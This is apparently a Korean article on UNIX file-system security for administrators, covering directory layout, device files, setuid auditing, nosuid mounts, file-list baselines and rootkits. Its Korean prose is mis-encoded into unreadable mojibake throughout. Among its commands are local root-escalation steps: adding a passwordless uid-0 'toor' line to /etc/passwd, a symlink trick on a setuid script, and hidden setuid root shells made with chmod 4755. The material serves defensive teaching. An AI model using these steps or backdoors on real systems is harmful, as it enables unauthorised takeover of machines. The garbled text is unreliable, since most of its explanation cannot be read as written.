±èÈÖ° (Sakai Kim) sakai@major.kaist.ac.kr
¡¡
|
Contents
À̹ø È£¿¡¼´Â Áö³ È£¿¡ À̾î General Security Administration Áß System File System ÀÇ º¸¾È¿¡ ´ëÇØ Àü¹ÝÀûÀ¸·Î ´Ù·ç°Ú´Ù. °Ú´Ù. À̹ø È£¿¡¼ ÁßÁ¡ÀûÀ¸·Î ´Ù·ê ³»¿ëÀº File System ³»ºÎÀÇ ÆÄÀϵ鿡 ´ëÇÑ Á¡°Ë (ÆÛ¹Ì¼Ç ¹× ±âŸ»çÇ×) °ú, ¹éµµ¾î¸¦ ã¾Æ³»±â µî°ú °°Àº ÀϹÝÀûÀÌÁö¸¸ À¯¿ëÇÑ °ÍµéÀÌ´Ù. |
À¯´Ð½º ½Ã½ºÅÛÀÇ File ½Ã½ºÅÛÀÇ ±¸Á¶ÀÇ Æ¯Â¡Àº tree ±¸Á¶·Î µÇ¾îÀÖ´Ù´Â Á¡°ú öÀúÇÏ°Ô owner , group ¿¡ ÀÇÇØ »ç¿ëÀÚÀÇ ±ÇÇÑ¿¡ µû¶ó ¾×¼¼½º ÇÒ ¼ö ÀÖ´Â ÀÚ¿øÀÌ ÇÑÁ¤µÇ¾î ÀÖ´Ù´Â Á¡ÀÌ´Ù. ±×·¸±â ¶§¹®¿¡ ÇØÄ¿µéÀº root ¸¸ÀÌ ¾×¼¼½º ÇÒ ¼ö ÀÖ´Â ÆÄÀÏ¿¡ Á¢±ÙÀ» ½ÃµµÇÏ¿© ½Ã½ºÅÛÀ» º¯Á¶ÇÏ·Á ¾Ö¾²´Â °ÍÀÌ°í °ü¸®ÀÚ´Â À̸¦ ¸·±â À§ÇØ µð·ºÅ丮¿Í ÆÄÀÏ¿¡ ÀûÀýÇÑ ÆÛ¹Ì¼Ç ¹× ±×·ì ÁöÁ¤ÀÌ µÇ¾îÀÖ´ÂÁö È®ÀÎÇÏ´Â °ÍÀÌ´Ù.
Basic of Basic À¸·Î °¢ À¯´Ð½º ½Ã½ºÅÛµéÀÇ µ¶Æ¯ÇÑ file tree ±¸Á¶¿¡ ´ëÇØ ¾Ë¾Æº¸ÀÚ.
Generic UNIX directory structure
![]()
À§ÀÇ ±×¸²¿¡¼ º¸´Â °ÍÀÌ °øÅëÀûÀ¸·Î Àû¿ëµÇ´Â µð·ºÅ丮µéÀÌ´Ù.
°ü½ÀÀûÀ¸·Î executable ÇÑ binary ½ÇÇà ÆÄÀϵéÀÌ µé¾îÀÖ´Â µð·ºÅ丮ÀÌ´Ù. OS ¿¡ µû¶ó ¹«Á¶°Ç ÀûÀ¸·Î /bin Àº /usr/bin ¿¡ ¸µÅ© µÇ¾î Àֱ⵵ ÇÏ´Ù. °°Àº ¼º°ÝÀÇ µð·ºÅ丮·Î /usr/bin °ú /usr/ucb °¡ ÀÖ´Ù. /usr/ucb ´Â OS ¿¡¼ µðÆúÆ®·Î µû¶ó ³ª¿À´Â ½ÇÇà binary file µéÀÌ Æ÷ÇԵǴ µð·ºÅ丮¶ó´Â Á¡¿¡¼´Â °øÅëÀûÀ̳ª /usr/ucb ¿¡´Â ¹öŬ¸® °è¿ ÇÁ·Î±×·¥µéÀÌ µé¾îÀÖ´Ù. °°Àº À̸§ÀÇ ½ÇÇàÆÄÀÏÀ̶ó ÇÏ´õ¶óµµ /usr/bin À̳ª /bin ¿¡ µé¾îÀÖ´Â binary ½ÇÇàÆÄÀϵé°ú ¿É¼Ç°ú ÇÏ´Â ¿ªÇÒÀÌ ´Ù¸¥ °æ¿ì°¡ ¸¹´Ù.
SunOS ¿¡¼ System V °è¿ ¸í·É¾îµéÀ» º¸°üÇÏ´Â µð·ºÅ丮ÀÌ´Ù.
µð¹ÙÀ̽ºµéÀÇ µð·ºÅ丮·Î special file µéÀÌ µé¾îÀÖ´Ù. System V °è¿ÀÇ /dev/ µð·ºÅ丮´Â ´Ù½Ã ¼ºêµð·ºÅ丮·Î ±¸ºÐ Áö¾îÁö´Â °ÍÀÌ º¸ÅëÀÌ´Ù. dsk ¿Í rdsk ´Â µð½ºÅ© µð¹ÙÀ̽º¸¦ ÀǹÌÇϰí, mt ¿Í rmt ´Â Å×ÀÙ µð¹ÙÀ̽º¸¦ ÀǹÌÇÑ´Ù. ¶Ç term Àº serial line À» Áö¿øÇØÁÖ´Â Å͹̳εéÀ» ÀǹÌÇϰí, pts , ptc ´Â remote ¿¡¼ Á¢¼ÓÇßÀ» ¶§ ¿¬°áµÇ´Â pseudo Å͹̳εéÀÌ´Ù. À̿ʹ ´ëÁ¶ÀûÀ¸·Î BSD °è¿ OS ÀÇ /dev/ µð·ºÅ丮´Â ¼ºêµð·ºÅ丮·Î ³ª´µÁö ¾Ê´Â Ư¡À» °¡Áø´Ù. Solaris ÀÇ °æ¿ì¿¡´Â /device ¿Í /dev µð·ºÅ丮¸¦ µ¿½Ã¿¡ °¡Áö´Â Ư¡À» °¡Áø´Ù.
/dev µð·ºÅ丮ÀÇ µð¹ÙÀ̽ºµé¿¡ ´ëÇØ¼´Â ´ÙÀ½ÀÇ figure ¸¦ ÂüÁ¶Çϱ⠹ٶõ´Ù.
| ¡¡ |
SunOS |
DEC OSF/1 |
LINUX |
HP-UX 9.x HP-UX 10.x |
IRIX |
Solaris |
File Name |
/dev/rsd1c |
/dev/rrz1c |
/dev/sdb1 |
/dev/rdsk/c201d1s0 /dev/rdsk/c0t4d0s0 |
/dev/rdsk/dks0d2s7 |
/dev/rdsk/c0t4d0s2 |
Access Mode = Raw |
/dev/rsd1c |
/dev/rrz1c |
¡¡ |
/dev/rdsk/c201d1s0 /dev/rdsk/c0t4d0s0 |
/dev/rdsk/dks0d2s7 |
/dev/rdsk/c0t4d0s2 |
Device = Disk |
¡¡ |
/dev/rrz1c |
/dev/sdb1 |
/dev/rdsk/c201d1s0 /dev/rdsk/c0t4d0s0 |
/dev/rdsk/dks0d2s7 |
/dev/rdsk/c0t4d0s2 |
Type = SCSI |
/dev/rsd1c |
/dev/rrz1c |
/dev/sdb1 |
/dev/rdsk/c201d1s0 |
/dev/rdsk/dks0d2s7 |
/dev/rdsk/c0t4d0s2 |
Controller # |
¡¡ | ¡¡ | ¡¡ |
/dev/rdsk/c0t4d0s0 |
/dev/rdsk/dks0d2s7 |
/dev/rdsk/c0t4d0s2 |
Device # |
/dev/rsd1c |
/dev/rrz1c |
/dev/sdb1 |
/dev/rdsk/c201d1s0 /dev/rdsk/c0t4d0s0 |
/dev/rdsk/dks0d2s7 |
/dev/rdsk/c0t4d0s2 |
Disk Partition |
/dev/rsd1c |
/dev/rrz1c |
/dev/sdb1 |
/dev/rdsk/c201d1s0 /dev/rdsk/c0t4d0s0 |
/dev/rdsk/dks0d2s7 |
/dev/rdsk/c0t4d0s2 |
µð¹ÙÀ̽º¾È¿¡ ÀÖ´Â special ÆÄÀϵéÀº ´ÙÀ½ÀÇ Àǹ̸¦ Áö´Ñ´Ù.
Special File Form |
Example |
Device/Use |
/dev/[r]fdn |
/dev/fd0 |
Floppy disk |
/dev/rmtn /dev/rmt/n /dev/rstn /dev/rctn |
/dev/rmt1 /dev/rmt/0 /dev/rst0 /dev/nrmt0 /dev/rmt/0n /dev/rct0 |
Generic tape devices Generic tape devices SCSI tape drive Non rewinding tape devices Non rewinding tape devices SCO UNIX catridge tape device |
/dev/cdn /dev/cdrom |
/dev/cd0 /dev/cdrom |
CDROM devices CDROM devices |
/dev/ttyn /dev/term/n /dev/tty[p~s]n /dev/pts/n /dev/pty[p~s]n |
/dev/tty01 /dev/term/01 /dev/ttyp1 /dev/pts/2 /dev/ptyp3 |
serial line (hardwired terminal/modem) V.4 serial line slave °¡»ó terminal slave °¡»ó terminal ÀǹÌ: Master/control °¡»ó terminal |
/dev/console /dev/syscon /dev/hft /dev/lft0 /dev/tty |
¡¡ |
ÄÜ¼Ö device System V ÀÇ ¹°¸®Àû ÄÜ¼Ö device AIX 3.x ÀÇ ÄÜ¼Ö device AIX 4.x ÀÇ ÄÜ¼Ö device °¢°¢ÀÇ ÇÁ·Î¼¼½º°¡ Á¦¾îÇÏ´Â TTY ¸¦ ÀÇ¹Ì |
/dev/mem /dev/kmem |
¡¡ |
physical ¸Þ¸ð¸® ¸Ê kernel ÀÇ °¡»ó ¸Þ¸ð¸® ¸Ê |
/dev/winn /dev/mouse |
/dev/win00 |
SunOS ¿Í Solaris ÀÇ window device mouse interface |
/dev/ramn /dev/swap |
/dev/ram00 |
ram disk Swap device |
/dev/null /dev/zero |
¡¡ |
null device null device |
½Ã½ºÅÛ configuration °ú °ü·ÃµÈ data file À̳ª ½ÇÇàÆÄÀÏÀÌ µé¾îÀÖ´Â µð·ºÅ丮ÀÌ´Ù. ÀÌ ¿Ü¿¡µµ system ÀÇ Áß¿äÇÑ file µéÀÌ ¸¹ÀÌ µé¾î ÀÖ´Â µð·ºÅ丮ÀÌ´Ù.
/usr/etc ¿¡ ½ÇÇàÆÄÀÏÀ» µû·Î ÀúÀåÇÏ´Â OS µµ ÀÖ´Ù. ±×¸®°í C2 ·¹º§¿¡ °ü·ÃµÈ µð·ºÅ丮°¡ /etc/security µîÀ¸·Î Á¸ÀçÇϱ⵵ ÇÑ´Ù.
ÀÌ µð·ºÅ丮´Â ÀϹÝÀûÀ¸·Î »ç¿ëÀÚµéÀÇ È¨ µð·ºÅ丮°¡ À§Ä¡ÇÏ´Â °÷ÀÌ´Ù. HP-UX 9.x ¿¡¼´Â /users µð·ºÅ丮°¡ Á¸ÀçÇÏ¿© /home À» ´ë½ÅÇϰí ÀÖ´Ù.
Disk error °¡ ³µÀ» ¶§(¿¹»óÄ¡ ¾ÊÀº crash ³ª shutdown ¿¡ ÀÇÇØ ) lost chain ÀÌ µÇ¾î¹ö¸° ÆÄÀϵéÀÌ ÀúÀåÀÌ µÇ°Ô µÈ´Ù. ÀÌ µð·ºÅ丮´Â ÆÄƼ¼Ç¸¶´Ù Çϳª¾¿ Á¸ÀçÇÑ´Ù.
Àӽ÷Π¸¶¿îÆ®ÇÏ´Â µð·ºÅ丮ÀÌ´Ù. temporary ¸¶¿îÆ®ÇÏ´Â ÆÄÀϽýºÅÛÀ» À§ÇÑ ¹è·ÁÀÌ´Ù.
PROC ÆÄÀϽýºÅÛ¿¡ °ü·ÃµÈ µð·ºÅ丮ÀÌ´Ù. ÀÌ µð·ºÅ丮¾ÈÀÇ ÆÄÀϵéÀº ÇöÀç active ÇÁ·Î¼¼½ºµé¿¡ °ü·ÃµÇ¾î À̸§ Áö¾îÁö°í »ý¼ºµÇ°í »èÁ¦µÈ´Ù.
ÀÌ µð·ºÅ丮¿¡´Â security ¿Í °ü·ÃµÈ µ¥ÀÌÅͺ£À̽º ÆÄÀϵéÀÌ ÀúÀåµÈ´Ù. ¹°·Ð tcb ¶ó´Â enhanced security facility ¸¦ ¿î¿µÇϰí ÀÖÀ» ¶§¿¡¸¸ »ý¼ºÀÌ µÇ´Â µð·ºÅ丮ÀÌ´Ù. °ü·ÃÀÌ ÀÖ´Â OS ·Î´Â SCO UNIX , HP-UX 10.x , Digital Unix °¡ ÀÖ°í Ãß°¡ÀûÀ¸·Î TCB °ü·Ã ÆÄÀϵéÀº µû·Î /etc/auth ¿¡ ÀúÀåµÈ´Ù.
¸ÞÀÏÀ̳ª, ÆÄÀÏ ÆíÁýµî¿¡¼ ¾²ÀÌ´Â ÀÓ½ÃÆÄÀÏ ¿Ü¿¡µµ ¸ðµç ÇÁ·Î±×·¥¿¡¼ÀÇ Àӽûý¼ºÆÄÀÏÀÌ »ý¼ºµÇ´Â °÷ÀÌ´Ù. ÀÌ µð·ºÅ丮ÀÇ °¡Àå Å« Ư¡Àº sticky bit °¡ ºÙ¾î ÀÖ¾î¼ ¿©·¯ »ç¿ëÀÚ°¡ ÀÚ½ÅÀÇ ±ÇÇÑÀÌ ÇØ´çµÇ´Â ÆÄÀÏ¿¡ ´ëÇØ¼¸¸ »èÁ¦¸¦ ÇÒ ¼ö ÀÖ°Ô µÈ´Ù.
ÀÌ µð·ºÅ丮´Â /usr/local , /usr/etc µî°ú °°Àº ¼ºêµð·ºÅ丮¸¦ °¡Áö¸é¼ , OS ÀνºÅç ½Ã¿¡ ±âº»ÀûÀ¸·Î Á¦°øµÇ´Â ÇÁ·Î±×·¥µé ¿Ü¿¡ µû·Î ÀνºÅçÇÑ ÇÁ·Î±×·¥(application program)µéÀÌ À§Ä¡ÇÏ°Ô µÇ´Â °÷ÀÌ´Ù.
¶ÇÇÑ /usr/adm µð·ºÅ丮¿¡´Â ½Ã½ºÅÛ °ü¸®¿Í °ü·ÃµÈ ·Î±×ÆÄÀÏÀ̳ª accounting ¿¡ °ü·ÃµÈ ÆÄÀÏÀÌ ÀúÀåµÇ°Ô µÇ°í, /usr/bin ¿¡¼´Â executable binary ÆÄÀϵéÀÌ À§Ä¡ÇÏ°Ô µÈ´Ù.
/usr/include ¿¡´Â C ÇÁ·Î±×·¥¿Ü ÇÁ·Î±×·¥°ú °ü·ÃµÈ Çì´õÆÄÀϵéÀÌ À§Ä¡ÇÏ°Ô µÇ°í , /usr/lib ¿¡´Â ½Ã½ºÅÛÀÇ ¶óÀ̺귯¸® ÆÄÀϵéÀÌ Á¸ÀçÇÏ°Ô µÈ´Ù.
ÀÌ ¿Ü¿¡µµ /usr/man (/usr/share/man) ¿¡´Â ¿Â¶óÀÎ ¸Þ´º¾ó ÆÄÀϵéÀÌ À§Ä¡Çϰí ÀÖ´Ù.
À§¿¡¼ ´Ù·é »çÇ×µéÀº °¡Àå ±âº»ÀûÀÎ »çÇ×ÀÓ¿¡µµ ºÒ±¸ÇÏ°í °ü¸®ÀÚµéÀÌ ÆÇ´Ü Âø¿À·Î ÀÎÇØ ÆÄÀÏ ÆÛ¹Ì¼ÇÀ» À߸ø ÁöÁ¤ÇØ ÁÖ¾î¼ ½Ã½ºÅÛ º¸¾È¿¡ ÇãÁ¡ÀÌ »ý±â´Â °æ¿ìµµ ¸¹ÀÌ ÀÖ´Ù.
ÇÏÁö¸¸ ÇöÁ¸ÇÏ´Â ¼ö ¸¹Àº UNIX OS ÀÇ File System ÀÇ µð·ºÅ丮 ÆÛ¹Ì¼Ç°ú µð·ºÅ丮 ±¸Á¶, ÆÄÀÏÀÇ ÆÛ¹Ì¼ÇÀ» ±â¾ïÇϰí ÀÖÀ» ¼ö´Â ¾ø´Â ³ë¸©ÀÌ´Ù.
ÃÖ¼ÒÇÑÀ¸·Î ¾Ë¾ÆµÎ¾î¾ß ÇÒ »çÇ×Àº ´ÙÀ½°ú °°´Ù.
¿¹: / , /etc/ , /var , /usr/bin ..... Áö±ÝÀº ´ëºÎºÐÀÇ »ç¶÷µéÀÌ SunOS 4.1.x ÀÌÇÏ ¹öÀü º¸´Ù´Â Solaris 2.x ¹öÀüÀ» »ç¿ëÇϹǷΠ¹®Á¦°¡ ¾øÁö¸¸, ¿¹ÀüÀÇ SunOS 4.x ¿¡¼´Â /etc/ µð·ºÅ丮ÀÇ ¼ÒÀ¯ÁÖ°¡ bin À¸·Î µÇ¾î ÀÖ¾ú´Ù. ±×·¯¹Ç·Î root ÀÇ ±ÇÇÑÀ» ¾òÁö ¸øÇÏ´õ¶óµµ bin À̶õ id ÀÇ ±ÇÇÑÀ» ¾ò±â¸¸ Çϸé /etc µð·ºÅ丮³»¿¡ ÀÖ´Â ¾î¶°ÇÑ ÆÄÀÏ¿¡¶óµµ Á¶ÀÛÀ» °¡ÇÒ ¼ö ÀÖ°Ô µÇ´Â °ÍÀÌ´Ù. ÇØÅ·À» ÇÏ°Ô µÇ¸é root ÀÇ ±ÇÇÑÀ» Á÷Á¢ ¾òÁø ¸øÇÏ´õ¶óµµ adm , sys , bin µîÀÇ ±ÇÇÑÀ» ¾ò±â´Â ºñ±³Àû ½¬¿î ÀÏÀÌ´Ù. Áß°£ °úÁ¤Àº »ý·«ÇϰÚÁö¸¸ ¿¹¸¦ µé¾î bin ÀÇ ±ÇÇÑÀ» ȹµæÇß´Ù°í ÇÏÀÚ. $ id uid=2(bin) gid=2(bin) groups=2(bin) $ ls -asld /etc 12 drwxr-xr-x 13 bin bin 6144 5¿ù 28ÀÏ 18:48 /etc $ cp /etc/passwd /tmp $ echo "toor::0:1::/:/bin/csh" >> /tmp/passwd $ rm /etc/passwd $ cp /tmp/passwd /etc/passwd $ rlogin localhost -l toor Áï, bin ÀÇ ±ÇÇÑÀ» °®°Ô µÇ¾úÀ¸¹Ç·Î ÀÓÀÇ·Î /etc/ µð·ºÅ丮 ÇÏÀÇ ÀÓÀÇÀÇ ÆÄÀÏÀ» Á¶ÀÛÇÒ ¼ö ÀÖ°Ô µÇ´Â °ÍÀÌ´Ù. °íÀüÀûÀÎ ÇØÅ· ¹æ¹ýÀÇ ÇÑ ¿¹ÀÌ´Ù. |
ÀÚ ±×·³ ÀÌÁ¦ "File System Á¡°Ë" ¿¡ ´ëÇØ »ìÆìº¸ÀÚ. ¹°·Ð µ¶ÀÚµéÀÌ chmod, chgrp µîÀÇ ±âº»ÀûÀÎ ¸í·ÉµéÀº ¼÷ÁöÇϰí ÀÖ´Ù°í °¡Á¤ÇÑ´Ù.
¹ö±×¹Ú½º¸¦ Àо½Å ºÐµéÀ̶ó¸é ¾Ë°ÚÁö¸¸ º¸¾È »ó¿¡ ¹®Á¦Á¡À» ÀÏÀ¸Å°´Â ÇÁ·Î±×·¥µéÀº setuid°¡ ÀÖÀ¸¸é¼ root ¼ÒÀ¯ÀÇ ½ÇÇà ÆÄÀÏÀÎ °æ¿ì°¡ ´ëºÎºÐÀ̾ú´Ù. ¾î·µç setuid °¡ ºÙ¾î ÀÖ´Ù´Â °ÍÀº ±× ÇÁ·Î±×·¥ÀÌ ½ÇÇàµÇ´Â Áß¿¡´Â ±× ÇÁ·Î±×·¥ÀÇ ¼ÒÀ¯ÁÖÀÇ ±ÇÇÑÀ» °¡Áö°í µ¿ÀÛÀ» ÇÏ°Ô µÈ´Ù´Â ¶æÀ̹ǷΠroot ¼ÒÀ¯ÀÇ setuid °¡ °É¸° ÆÄÀϵéÀº ½ÇÇàÇÒ ¶§ Á¶½ÉÇØ¾ß ÇÑ´Ù.
±×¸®°í ÁÖ±âÀûÀ¸·Î setuid root ÆÄÀϵéÀ» ã¾ÆÁÖ¾î¾ß ÇÏ´Â ÀÌÀ¯·Î ´ÙÀ½À» µé ¼ö ÀÖ´Ù.
ÇØÄ¿µéÀº root ÀÇ ±ÇÇÑÀ» ¾òÀº ÈÄ¿¡ setuid root shell À̳ª setuid root shell script À» ¼³Ä¡ÇصдÙ. À̸¦ ÅëÇØ ÇÁ·Î±×·¥ ¼öÇà Áß¿¡ setuid root ÆÄÀÏÀÇ Á¤ÀÇ¿¡ ÀÇÇØ¼³ª , Interrupt , job control, symbolic link µî¿¡ ÀÇÇØ ºÒ¹ýÀûÀÎ ±ÇÇÑ È¹µæÀÌ °¡´ÉÇØ Áø´Ù.
º¸Åë, ÆÄÀϽýºÅÛÀ» ºÎÆÃ ½Ã¿¡ ¸¶¿îÆ®ÇÒ¶§ °ü·ÃµÈ ÆÄÀÏÀº /etc/mnttab ÆÄÀÏ (¶Ç´Â /etc/mtab) ÀÌ´Ù. Áï, /etc/mnttab ¿¡¼ Á¤ÀÇÇÑ´ë·Î ÆÄÀϽýºÅÛÀ» ¸¶¿îÆ®ÇÏ°Ô µÇ´Âµ¥, À̶§ nosuid ¿É¼Ç ¼³Á¤¿¡ ÁÖÀÇÇÏÁö ¾ÊÀ¸¸é, ¾Æ·¡¿Í °°ÀÌ ÇØÄ¿°¡ ½Ã½ºÅÛÀ» Á¦Áý µå³ªµé µíÀÌ ÇÒ ¼ö ÀÖ°Ô µÈ´Ù.
% find / -user root -type f -perm -4000 /usr/bin/X11/xrsh (¿©±â¿¡¼ /usr/bin/X11/xrsh : setuid executable shell script ÀÌ´Ù.) % ls -l /usr/bin/X11/xrsh -rwsr-xr-x 1 root 16 Aug 20 14:09 /usr/bin/X11/xrsh % ln -s /usr/bin/X11/xrsh ./-i (¸¸ÀÏ csh °è¿ »ç¿ëÀÚ¶ó¸é ln -s /usr/bin/X11/xrsh ./-bi ·Î ÇØÁØ´Ù.) % ./-i # whoami root |
# cp /usr/bin/sh ./suq # chmod 4755 ./suq # exit $ ./suq # |
Solaris 2.x ¿Í °°Àº OS ¿¡¼´Â euid(effective user id) ¿Í real uid °¡ °°ÀÌ ¾ÊÀ¸¸é setuid °¡ °É¸° root shell À̶ó ÇÏ´õ¶óµµ ·çÆ®ÀÇ ±ÇÇÑÀ» °®Áö ¸øÇϵµ·Ï Çϰí´Â ÀÖÁö¸¸ ¿©ÀüÈ÷ ÇãÁ¡Àº Á¸ÀçÇÑ´Ù. ±×°ÍÀº /bin/sh , /bin/csh ¿¡¼´Â ±× ±â´ÉÀ» Ãß°¡ÇßÁö¸¸ /bin/ksh ¿¡ ´ëÇØ¼´Â ¿©ÀüÈ÷ ¹«·ÂÇϱ⠶§¹®ÀÌ´Ù.
Áï, Solaris 2.x ¿¡¼µµ ´ÙÀ½°ú °°ÀÌ ÇÔÀ¸·Î½á ÇØÄ¿´Â root shell À» ¼û°ÜµÑ ¼ö ÀÖ°Ô µÇ´Â °ÍÀÌ´Ù.
# cp /bin/ksh ./suq # chmod 4755 ./suq # exit $ ./suq # |
±×·¯¹Ç·Î /etc/mnttab (¶Ç´Â /etc/mtab ) ¿¡ nosuid ¼³Á¤À» ÀûÀýÈ÷ ÇØÁֱ⠹ٶõ´Ù.
¿¹:
# cat /etc/mtab /dev/sd0a / 4.2 rw 1 1 /dev/sd0g /usr 4.2 rw 1 2 /dev/sd1g /home 4.2 rw,nosuid 1 3 |
±×¸®°íroot shell À» ÇØÄ¿µéÀÌ º¸Åë ã±â Èûµç ÆÄÀÏÀ̸§À¸·Î ¼û°Ü ³õ°í °¡´Â °æ¿ì°¡ ¸¹´Ù. °ü¸®ÀÚµéÀÌ Âø°¢Çϱ⠽¬¿î À̸§À¸·Î ¼û±â¹Ç·Î º¸Åë ´ÙÀ½°ú °°Àº °÷¿¡ ¼û±ä´Ù.
¿¹:
# find / -perm -4000 -print /etc/fping /usr/man/man6/bash.6 /usr/local/bin/sys /dev/rxt0 |
ÆÄÀϽýºÅÛÀ» Á¡°ËÇÏ´Â °¡Àå ½±°í Æí¸®ÇÑ ¹æ¹ýÀº ´ÙÀ½ÀÌ´Ù.
ls ÀÇ Recursive ¿É¼ÇÀ» »ç¿ëÇÏ¿© ÆÄÀϽýºÅÛ ³»ÀÇ Àü ÆÄÀϵ鿡 ´ëÇÑ list ¸¦ ¹Þ¾Æ µÎ´Â °ÍÀÌ´Ù.
# ls -aslcRg / > list_of_system_old # ls -aslcRg / > list_of_today # diff list_of_system_old list_of_today |
Áï, Á¤±âÀûÀ¸·Î file system ³»ÀÇ ÀüüÀûÀÎ list ¸¦ ¹Þ¾ÆµÐ ÈÄ Â÷ÀÌÁ¡À» ºñ±³Çؼ ÆÄÀϽýºÅÛÀÌ º¯Á¶µÈ »çÇ×À» ¾Ë ¼ö ÀÖ°Ô µÈ´Ù. À̸¦ ÅëÇØ, ÆÄÀÏ»ý¼º³¯Â¥, ÆÛ¹Ì¼Ç, ¼ÒÀ¯ÁÖ µîÀÇ º¯È¸¦ Á¡°ËÇÒ ¼ö ÀÖ´Ù.¹°·Ð Àú file ¸®½ºÆ®(list_of_system_old, list_of_today) ¸¦ file system ³»¿¡ º¸°üÇÏ´Â °ÍÀº »ó´çÈ÷ ¾î¸®¼®Àº ÁþÀÌ´Ù. ÇØÄ¿°¡ ´Ù½Ã º¯Á¶ÇØ µÑ ¼ö Àֱ⠶§¹®ÀÌ´Ù.±×·¯¹Ç·Î Àú ÆÄÀϵéÀº offline »óÀ¸·Î ¹é¾÷À» ¹Þ¾Æ (floppy µð½ºÄÏ µûÀ§) º¸°üÀ» ÇØÁֱ⠹ٶõ´Ù.
À§ÀÇ »çÇ×µéÀÌ ¿©ÀÇÄ¡ ¾ÊÀº °æ¿ì¿¡´Â ¾îÂ¥ÇÇ ÀÏÀÏÀÌ °ü¸®ÀÚ°¡ ¸ðµç ÆÄÀϽýºÅÛÀ» °¨½ÃÇÒ ¼ö´Â ¾ø´Â ³ë¸©À̹ǷΠsetuid ÆÄÀÏ ¹× ÁÖ¿ä ÆÄÀϽýºÅ۵鿡 °üÇÑ Ã¼Å©¼¶À» ¹Þ¾ÆµÐ´Ù.
¿¹: /bin/login , /usr/etc/in.* ,/lib/libc.so.*, inetd ¿¡¼ È£ÃâµÇ´Â µ¥¸ó,
ÇÁ·Î±×·¥µé, netstat, ps, ls , df, ifconfig , sum , ±âŸ
ÇÁ·Î±×·¥ÀÌ ½ÇÇà Áß¿¡´Â root ÀÇ ±ÇÇÑÀ» °®°Ô µÇ¹Ç·Î À§ÇèÇÏ´Ù.
¿¹: telnetd , rlogind , rshd , ftpd , sshd , ftpd , sendmaild
µ¥¸ó ÇÁ·Î±×·¥ ÀÚü¿¡ trojan horse °¡ ¼û°ÜÁ® ÀÖ´Â °æ¿ì¿¡´Â ÇÁ·Î±×·¥ ³»ºÎÀÇ ¹«°á¼ºÀÌ ÀÔÁõµÇ¾ú´Ù ÇÏ´õ¶óµµ ÇÁ·Î±×·¥ÀÌ µ¥¸ó¿¡ ÀÇÇØ invoking µÇ¾î ½ÇÇàµÇ´Â ¼ø°£ ÇÁ·Î±×·¥¿¡ ÀÇÇØ ½Ã½ºÅÛÀÌ vulnerable ÇØÁö°Ô µÈ´Ù.
sshd ÀÇ °æ¿ìµµ ¿¹Àü¿¡ sshd ÀÚü¿¡ trojan horse ¸¦ ¼û°ÜµÐ °æ¿ì°¡ º¸°íµÈ ÀûÀÌ ÀÖ¾ú´Ù. º¸¾ÈÀ» À§ÇØ ssh À» »ç¿ëÇÏ¿´´Ù°¡ ¿ÀÈ÷·Á À§ÇèÇØÁø ÁÁÀº ¿¹¿´´Ù.
inetd ¿¡¼ È£ÃâÀÌ µÇ¹Ç·Î ½Ã½ºÅÛÀÇ Àü¿øÀÌ ÄÑÁ® ÀÖ´Â ÇÑ ½Ã½ºÅÛÀº vulnerable ÇÏ°Ô µÈ´Ù.
ÀÌ·± ¶óÀ̺귯¸®µé¿¡ trojan horse °¡ ÀÖÀ¸¸é dynamic ÇÏ°Ô call µÉ ¶§, ÄÄÆÄÀÏ ½Ã¿¡ static ÇÏ°Ô call µÉ ¶§ ¹®Á¦¸¦ ÀÏÀ¸Å°°Ô µÇ¹Ç·Î , check sum ÀÌ È®½ÇÇÑ ÀÎÁõµÈ application ÇÁ·Î±×·¥À» ¼³Ä¡Çß´Ù ÇÏ´õ¶óµµ vulnerable ÇÏ°Ô µÈ´Ù.
½ÇÁ¦·Î 96 ³â¿¡ ¸¹Àº ³í¶õÀ» ÀÏÀ¸Å² SGI telnet program ÀÇ vulnerability ¿¡¼´Â crypt ¿¡ °ü·ÃµÈ forged library ¸¦ ¸¸µé¾î ÇØÅ·À» ÇÏ´Â ±â¹ýÀÌ ÀÖ¾ú´Ù.
À§ÀÇ ÇÁ·Î±×·¥µéÀº trojan horse °¡ ¼û°ÜÁ³À» °æ¿ì ¸¹Àº ÇÇÇØ¸¦ ÀÔÈú ¼ö ÀÖ´Â ÇÁ·Î±×·¥µéÀÌ´Ù. netstat ÀÇ °æ¿ì ÇØÄ¿ÀÇ Á¢¼Ó connection À» Ç¥½Ã°¡ ¾ÈµÇ°Ô ÇÒ ¼ö ÀÖÀ¸¹Ç·Î ÇØÄ¿ÀÇ Ä¨ÀÔÀ» ÃßÀûÇϴµ¥ »ó´çÇÑ °ï¶õÇÔÀ» °Þ°Ô µÈ´Ù.
ps µµ ¸¶Âù°¡ÁöÀÌ´Ù. ħÀÔÀÚÀÇ ÀÛ¾÷ ÇÁ·Î¼¼½º°¡ º¸ÀÌÁö ¾Ê´Â ´Ù¸é »ó´çÇÑ ¹®Á¦ÀÏ °ÍÀÌ´Ù. ½Ã½ºÅÛ¿¡ ¹«¾ð°¡ ÀÌ»óÀ» ¹ß°ßÇÑ´Ù°í ÇØµµ ÇÁ·Î¼¼½º¸¦ kill ÇÒ ¼ö ¾øÀ¸´Ï ¸»ÀÌ´Ù.
df , sum µµ ¸¶Âù°¡ÁöÀÇ ¸Æ¶ô¿¡¼ »ý°¢ÇØÁÖ¸é µÈ´Ù.
À§ÀÇ ÇÁ·Î±×·¥µé¿¡ trojan horse ¸¦ ½É¾î ³õ´Â °ÍÀÌ ºÒ°¡´ÉÇØ º¸ÀÏÁöµµ ¸ð¸£°ÚÀ¸³ª, 93 ³â ºÎÅÍ root kit À̶õ À̸§À¸·Î ¿Ü±¹ÀÇ ÇØÄ¿¿¡ ÀÇÇØ ¹èÆ÷°¡ µÇ°í ÀÖ¾ú´Ù.
À̸¦ ÅëÇØ ±¹³»ÀÇ ¸¹Àº ½Ã½ºÅÛ¿¡ ¹éµµ¾î°¡ ½É°ÜÁ® ÀÖ¾úÀ¸¸®¶ó ÃßÃøµÈ´Ù.
À̿ܿ¡µµ Ä¿³Î ÀÚü¸¦ º¯Á¶½ÃÄÑ µÑ ¼öµµ ÀÖ´Ù .
